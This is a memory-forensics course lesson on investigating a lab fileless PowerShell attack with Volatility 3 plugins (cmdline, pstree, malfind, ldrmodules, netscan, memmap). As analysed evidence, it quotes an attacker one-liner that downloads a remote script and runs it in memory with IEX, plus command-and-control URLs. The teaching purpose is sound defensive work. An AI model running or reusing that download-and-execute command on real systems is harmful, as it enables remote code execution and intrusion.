Reading width
Wide uses the full column for everything, text, diagrams, code, and exercises. Narrow keeps the standard reading width.
Text size
Scales the body text. Headings and code blocks keep their size.
In this section
Fileless Malware in Memory: PowerShell Command Lines, ldrmodules, netscan and memmap Dumps
Introduction
A fileless attack writes nothing an antivirus scanner or a disk examiner would find. It runs a built-in program, usually PowerShell, tells it on the command line to fetch code from the network, and loads that code straight into memory.
When the machine is switched off, the attack's code, its configuration and most of its traces are gone. Memory is not one place to look for it; it is the only place.
A fileless attack in four steps. Every one of them exists only in powershell.exe's memory and on the wire.
That is also why fileless techniques are popular. The tools are already installed and trusted, the commands look like administration, and the payload never exists as a file a scanner could inspect. Defenders who rely on files and signatures see an administrator running PowerShell; defenders with a memory image see what PowerShell was running.
This lesson reads the course's fileless capture, NE-ENG-031-fileless, taken with the PowerShell window still open about seven minutes after a one-line command loaded a stage. It covers the command line, the process tree, the stage that no loader list knows about, the session it still holds, and a second address that only a dump of the whole process finds. Module 4 teaches the attack and its investigation in depth.
The Command Line
What powershell.exe was told to doThe fastest route into a fileless attack is the command line of the process that ran it. windows.cmdline reads it from the process's own memory:
$ vol -f NE-ENG-031-fileless.raw windows.cmdline --pid 5240 | cut -f3 \
| sed 's/-c /-c\n/'
Progress: 100.00 PDB scanning finished
Volatility 3 Framework 2.28.2
Args
powershell -ep bypass -c
"IEX (New-Object Net.WebClient).DownloadString('http://10.5.0.20:8080/loader.ps1')"
That one line is the whole delivery. -ep bypass sets PowerShell's execution policy to bypass for this process, so a script that would otherwise be refused runs anyway. -c runs the string that follows as a command.
Inside it, New-Object Net.WebClient creates a web client, DownloadString fetches loader.ps1 from 10.5.0.20 on port 8080 as text, and IEX, short for Invoke-Expression, runs that text as PowerShell code. The script never touches the disk: it goes from the network into a string and from the string into execution.
Every part of that line is a known pattern, and seeing it in a memory image settles a lot quickly: what started the attack, where the next stage came from and how it ran. It does not say what loader.ps1 contained. That is in memory too, and the rest of this lesson finds the part of it that matters.
Encoded commands are the common variation. PowerShell accepts a Base64-encoded command with -EncodedCommand, and attackers use it so that the command line shows a block of characters rather than readable text. The command line in memory still holds the encoded string exactly as given, so it can be decoded offline. Module 4 reads both forms, and the event logs PowerShell writes about them.
The command line also has a weakness lesson 0.2 mentioned: it lives in the process's own memory, where the process can change it.
An attacker who rewrites it after starting leaves a misleading line for exactly this plugin to read. Here nothing rewrote it, and the next sections confirm it independently: the download address it names is the address the process connected to, and the loader it names is what loaded the stage.
A command line that agrees with the connection table and the memory map is far more trustworthy than one read alone. The habit is to treat every self-reported field, the command line, the image path, the window title, as a claim that other structures can confirm or contradict, and to write down which ones did.
Where It Came From
The parent, and a snapshot's timesA command line says what a process was told; the tree says who told it. Filtered to the shell, the prompt and PowerShell:
$ vol --hide-columns Threads Handles Wow64 Exit Audit Cmd Path -f \
NE-ENG-031-fileless.raw windows.pstree | grep -wE "explorer|cmd|powershell"
Progress: 100.00 PDB scanning finished
4460 4412 explorer.exe 0xd187c3e52f40 1 2026-03-14 15:04:53.000000 UTC
* 5844 4460 cmd.exe 0xd187c0244ec0 1 2026-03-14 15:07:02.000000 UTC
** 5240 5844 powershell.exe 0xd187c1139680 1 2026-03-17 09:31:06.000000 UTC
The one-liner ran from cmd.exe PID 5844, the user's command prompt, under explorer.exe: someone typed it, or something typed it into an open prompt.
The tree is the same shape as any other command a user runs from a prompt, which is why the command line, not the parent, is what makes this process stand out. Had the one-liner been launched by a document viewer, a browser or a scheduled task instead, the parent would have been the stronger signal.
Notice the creation times. explorer.exe and cmd.exe were created on 14 March, powershell.exe on 17 March. The course lab ran this attack on a virtual machine reverted to a snapshot taken on 14 March, so the processes that were running in the snapshot keep the creation times they had when it was taken, and the clock jumped forward when the machine resumed.
A real host can show the same effect after resuming from hibernation or a suspended virtual machine.
That matters for any timeline built from memory. A process created days before the attack is not necessarily old in any useful sense, and a gap between a parent's time and its child's is not necessarily days of quiet. Module 8 classifies every timestamp by where it comes from before using it as an anchor, and this is one of the reasons.
The safe reading here is relative rather than absolute: powershell.exe was created at 09:31:06, its session at 09:31:09, and the capture's own clock reads 09:38, all on the same resumed clock, so the order and gaps between them are reliable even though the parents' times are not comparable.
The Stage No Loader Knows
malfind, then the loader listsThe loaded stage shows up the same way lesson 0.3's injected code did:
$ vol --hide-columns Tag CommitCharge "File output" -f NE-ENG-031-fileless.raw \
windows.malware.malfind --pid 5240 | head -8
Progress: 100.00 PDB scanning finished
Volatility 3 Framework 2.28.2
PID Process Start VPN End VPN Protection PrivateMemory Notes Hexdump Disasm
5240 powershell.exe 0x2a10000 0x2a4bfff PAGE_EXECUTE_READWRITE 1 MZ header
4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ..............
b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
A private, executable, writable region in powershell.exe, beginning with an MZ header. The difference here is that PowerShell is a legitimate host for executable private memory: it compiles code as it runs, so malfind on any powershell.exe may report something. The question is whether this region is that, or something else, and the loader's records answer it.
Windows keeps, for every process, records of the modules it loaded. Microsoft's documentation describes the structure that holds them as containing information about the loaded modules for the process, with lists of entries for each one, and ldrmodules shows whether each mapped image appears in the load-order, initialization-order and memory-order lists:
$ vol -f NE-ENG-031-fileless.raw windows.malware.ldrmodules --pid 5240 | cut -f3-7 \
| grep -e InLoad -e powershell.exe -e False \
| sed "s/.Device.HarddiskVolume3//"
Progress: 100.00 PDB scanning finished
Base InLoad InInit InMem MappedPath
0x7ff651ae0000 True False True \Windows\System32\WindowsPowerShell\v1.0\powershell.exe
0x2a10000 False False False -
powershell.exe's own image is in the load and memory lists but not the initialization list, which is ordinary for a program's own executable, and it is mapped from its file. The region at 0x2a10000 is in none of the three lists and has no mapped path.
Nothing loaded it through the loader. A PE image in memory that the loader has never heard of was put there by something that wrote it in directly, which is what a reflective loader does, and what loader.ps1 was for.
ldrmodules is worth running on every process with a malfind hit for exactly this reason. A just-in-time compiler's regions are not mapped images at all, so they do not appear in its output; a DLL loaded the ordinary way appears in all three lists with a path; a PE image written in by hand appears with no path and no list.
Three possible readings, and the plugin's columns choose between them without any judgment about the contents.
The region is also slightly larger than lesson 0.3's, 0x2a10000 to 0x2a4bfff, because this stage is a different build of the payload. Both begin with an MZ header and both are absent from the loader's lists, which is the shape a reflectively loaded image has whatever process it lands in.
The Session It Holds
Still connected at capture timeThe stage did what such stages do and called back:
$ vol --hide-columns Offset Proto State -f NE-ENG-031-fileless.raw windows.netscan \
| grep -e Owner -e 5240
Progress: 100.00 PDB scanning finished
LocalAddr LocalPort ForeignAddr ForeignPort PID Owner Created
10.5.0.31 52104 10.5.0.20 443 5240 powershell.exe 2026-03-17 09:31:09.000000 UTC
powershell.exe holds an HTTPS session to 10.5.0.20 on port 443, created at 09:31:09, two seconds after the download from the same address on port 8080. The capture, at 09:38, caught it still open. On the network, that session is encrypted traffic to an internal address; in memory, it is owned by the process whose command line downloaded a loader from the same host.
That pairing, of a session and the process that owns it, is the same fact lesson 0.1 opened with, and it is the one most fileless investigations turn on. A firewall log would show this workstation talking to 10.5.0.20 on two ports.
Only the memory image says that PowerShell, running a downloaded script, was the program talking. That attribution is what turns a suspicious connection into a finding a defender can act on: isolate this host, find the same command line on others, and block the addresses it named.
The session also bounds the time window. It began at 09:31:09, and anything the operator did through it happened between then and the capture. Module 4 reads what the operator did, including the change the next section finds.
An open session at capture time also means the attacker may have seen the capture tool start, which is one more thing to record: when the analyst acted, and whether the session was still alive afterwards.
The connection table also records what is not there. powershell.exe holds no session to 10.5.0.20 on port 8080, the address the command line downloaded from: that download was a single request, finished in a second, and its connection closed long before the capture.
An analyst who searched the connection table for the download address would find nothing and might conclude the command line was misleading. The command line, the strings and the order of the times say otherwise.
Dump the Whole Process
What the stage's region does not holdA natural next step is to dump the stage's region and read its strings, and it finds the stage's own code and data. It does not find everything the stage knew. Dumping the region, then counting lines that mention 10.5.0.13:
$ vol -q -o ./dump/ -f NE-ENG-031-fileless.raw windows.malware.malfind --pid 5240 \
--dump > /dev/null
$ strings -e l dump/pid.5240.vad.0x2a10000-0x2a4bfff.dmp | grep -c 10.5.0.13
0
None. Dumping every page powershell.exe maps instead, with windows.memmap, and reading its wide-character strings for addresses:
$ vol -q -o ./dump/ -f NE-ENG-031-fileless.raw windows.memmap --pid 5240 --dump > \
/dev/null
$ strings -e l dump/pid.5240.dmp | grep 10.5.0 | cut -c1-80
powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://
https://10.5.0.13:8443/qT7v_gH2Lk9mXc4RwB0nZsYa/
IEX (New-Object Net.WebClient).DownloadString('http://10.5.0.20:8080/loader.ps1'
https://10.5.0.20:443/qT7v_gH2Lk9mXc4RwB0nZsYa/
Four lines. The command line, twice: once as the process was started and once as the script text PowerShell evaluated.
The session's own URL on 10.5.0.20 port 443. And one more: an HTTPS URL on 10.5.0.13 port 8443, an address that appears nowhere else in this lesson. It is a second transport the operator added to the session two minutes in, a fallback for the payload to use if the first connection is lost, and it lives in heap memory the payload allocated after it loaded, outside the stage's region.
Two dumps of the same process
Dump wideWhy it matters
A payload stores what it learns at run time where any program does: in heap memory it allocates later. A dump of the region it was loaded into misses all of it.
That finding is the difference between blocking one address and blocking two. An investigation that dumped only the stage, or read only the network log, would block 10.5.0.20, watch the session drop, and miss the operator reconnecting to 10.5.0.13. Module 4 extracts the payload and decodes its full configuration, and this is the reason it dumps wide before it dumps narrow.
The general lesson goes beyond this payload. Any program keeps most of its working state outside the image it was loaded from: configuration it read, data it received, addresses it was told about, keys it negotiated. A dump of the image region is what the program was; a dump of the whole process is what it was doing.
For an investigation, the second is almost always the one that matters, and the cost is only a larger file to search, which is a small price for the whole picture. Searching it for wide-character strings, with the -e l option as here, matters especially on Windows, where much of what programs hold in memory is stored two bytes per character.
What Memory Does Not Say
The limits of one imageEverything above came from one capture, and it is worth being precise about what one capture cannot establish. It shows the state at 09:38: the processes, the regions, the session and the strings that existed then. It does not show what happened between 09:31 and 09:38 except where something left a trace that was still there at the end.
What the operator did through the session is the largest gap. The fallback transport is in memory because the payload stored it; most commands an operator runs leave nothing behind once their output has been sent back.
Files read, accounts queried and screenshots taken may be visible only on the network, in the host's own logs, or nowhere. A memory finding should say that plainly rather than implying that the session was quiet because memory is.
The loader script is a smaller gap. Its text passed through PowerShell, and fragments of it may be in the process's memory, but a script that was read, run and discarded is not guaranteed to be there whole. The web server that served it, or a proxy that saw the download, may hold a complete copy; memory holds what was still allocated.
Finally, one capture is one moment. A second capture an hour later might show a different transport, a new process or nothing at all if the session ended. Module 1's guidance to capture early applies here. The finding is written with its time, so that a reader knows which moment it describes, and with its gaps stated:
NE-ENG-031: what the image establishes
As of 09:38:52Written that way, the record tells the next team exactly where to look: the proxy or web server for the loader's full text, the host's PowerShell logs for what ran, and the network for anything the session carried. Each of those sources has its own retention, so the request goes out the same day the memory finding is written.
None of this weakens the memory finding. The command line, the stage, the session and both addresses are observed, and they are enough to contain the host and block the infrastructure. The gaps are what a complete account still needs, and naming them is what makes the account complete rather than merely confident.
What Module 4 Builds On It
Fileless malware in depthModule 4 starts with why fileless attacks defeat disk-based detection and how PowerShell is used as their vehicle, runs the attack in the course lab and captures it, and then reads powershell.exe's memory: the command line, the loaded stage, the session and the heap.
It extracts the in-memory payload, recovers its command-and-control configuration, and correlates what memory shows with what PowerShell's own event logs recorded. Its hunt gives one payload delivered three different ways.
The three hosts in the hunt show the same stage arriving by different routes, so that the method has to find it from the memory evidence rather than from a remembered command line. It also correlates memory with PowerShell's own event logs, which record script blocks as PowerShell runs them when logging is enabled, so that the two sources can confirm each other or show where one was tampered with.
Investigating a fileless attack from one image, in the order Module 4 takes it.
Each step in that procedure maps onto a lesson in the module, in this order:
What Module 4 builds
Module 4The habit to carry into it is in the figure. Read the command line first, because it is usually the delivery. Confirm the stage against the loader lists, because PowerShell has executable private memory for innocent reasons. Tie the session to the process. Then dump the whole process, not only the region that looks malicious, because what the payload learned after it loaded is somewhere else.
Fileless attacks are also a lesson in what evidence lasts. Everything this lesson found would have been gone a minute after the machine was switched off, and most of it would have been gone the moment the PowerShell window closed.
That is why Module 1's first rule, capture before anything else, matters most for exactly the attacks that leave the least behind. Closing a suspicious PowerShell window to stop an attack, before capturing memory, destroys the command line, the stage, the session and the fallback address in one click.
Practice
Find the stage and what it knew prepared evidenceThe prepared evidence below is powershell.exe's loader lists and the address strings from a dump of its whole memory. Find the region no loader knows about, the address a dump of that region would have missed, and the reason powershell.exe's own image is missing from one list. Each answer comes with its reasoning, so check it against the rows rather than only the choice.
Read the loader-list tab by its columns, not its addresses: three readings are possible, and the stage is the one with no path and no list. Read the strings tab for every address, then ask which of them the stage's own region would have held.
In the range, try the two dumps yourself, on the same capture and in the same order this lesson used: the stage region with malfind and the whole process with memmap, and search both for every address you can find.
The difference between the two lists is the point of this lesson in one comparison. Then run netscan and compare its addresses with the strings: one address is in both, one is only in memory, and that one would never have appeared in a network log until the first session dropped and the payload reached for its fallback.
A fileless attack is delivered by a command line and lives in one process's memory: the command line says how it was delivered, the loader lists show a stage no loader loaded, the connection table ties the session to the process, and a dump of the whole process, not only the stage, finds what the payload learned after it loaded.
Creation times from a reverted snapshot are a reminder that every timestamp needs a source.
The next lesson reads what an attacker leaves to make sure they come back.